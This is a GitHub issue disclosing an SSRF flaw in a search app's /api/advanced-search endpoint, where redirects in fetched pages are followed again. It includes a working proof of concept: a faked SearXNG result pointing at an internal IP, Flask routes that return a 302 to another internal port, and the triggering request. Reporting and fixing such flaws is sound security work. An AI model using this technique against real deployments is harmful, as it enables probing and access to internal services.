-
-
Notifications
You must be signed in to change notification settings - Fork 2.3k
Open
Description
Description
SSRF vulnerability caused by calling the fetchHtml function again when the response status code is 3xx.
Proof of Concept
When the request parameter searchDepth value of the interface: /api/advanced-search is advanced, the crawlPage function will be called, and finally the fetchHtml function will be called.
Since the data for the platform's advanced search function comes from the service SearXNG, and the returned data comes from the Internet, if the return field url is the attacker's website, then the returned data can be controlled.
I will simulate the content returned by the service SearXNG and use flask to manipulate the response body to specify the address to access.
- The SearXNG service returns fake content
{
"query": "1",
"number_of_results": 10,
"results": [
{
"url": "http://172.17.0.1:7777/poc",
"title": "test",
"content": "test",
"img_src": "",
"thumbnail": "",
"priority": "",
"engines": [
"bing"
],
"positions": [
1
],
"score": 1.0,
"category": "general",
"publishedDate": null
}
],
"answers": [
{
"url": null,
"template": "answer/legacy.html",
"engine": "plugin: calculator",
"parsed_url": null,
"answer": "1 = 1"
}
],
"corrections": [],
"infoboxes": [],
"suggestions": [],
"unresponsive_engines": [
[
"brave",
"timeout"
],
[
"brave",
"timeout"
],
[
"brave.images",
"timeout"
],
[
"deviantart",
"timeout"
],
[
"deviantart",
"timeout"
],
[
"duckduckgo",
"timeout"
],
[
"duckduckgo",
"timeout"
],
[
"flickr",
"timeout"
],
[
"flickr",
"timeout"
],
[
"google",
"timeout"
],
[
"google",
"timeout"
],
[
"google images",
"timeout"
],
[
"openverse",
"timeout"
],
[
"openverse",
"timeout"
],
[
"pinterest",
"timeout"
],
[
"pinterest",
"timeout"
],
[
"qwant images",
"timeout"
],
[
"startpage",
"timeout"
],
[
"startpage images",
"timeout"
],
[
"wikicommons.images",
"timeout"
],
[
"wikidata",
"timeout"
],
[
"wikipedia",
"timeout"
],
[
"wikipedia",
"timeout"
]
]
}- Register an interface that returns mock data
@app.route("/search")
def fake():
with open('search','r') as f:
filedata = f.read()
print("[*] print requets header ")
print(f"{request.method} {request.path}")
for header, value in request.headers.items():
print(f"{header}: {value}")
print("\n")
res=make_response(filedata)
res.status=200
res.headers['Content-Type'] = "application/json"
return res
@app.route("/poc")
def poc():
print("[*] print requets header ")
print(f"{request.method} {request.path}")
for header, value in request.headers.items():
print(f"{header}: {value}")
print("\n")
res= make_response("A"*(1024*165))
res.status= 302
res.headers['Location'] ="http://172.17.0.1:9999"
return res
- Request
POST /api/advanced-search HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
{
"query": "1",
"maxResults": "1",
"searchDepth": "advanced",
"includeDomains": "",
"excludeDomains": ""
}- Response
Impact
- Accessing internal services.
- Port detection.
- Frequently visit designated sites to achieve DDOS.
Metadata
Metadata
Assignees
Labels
No labels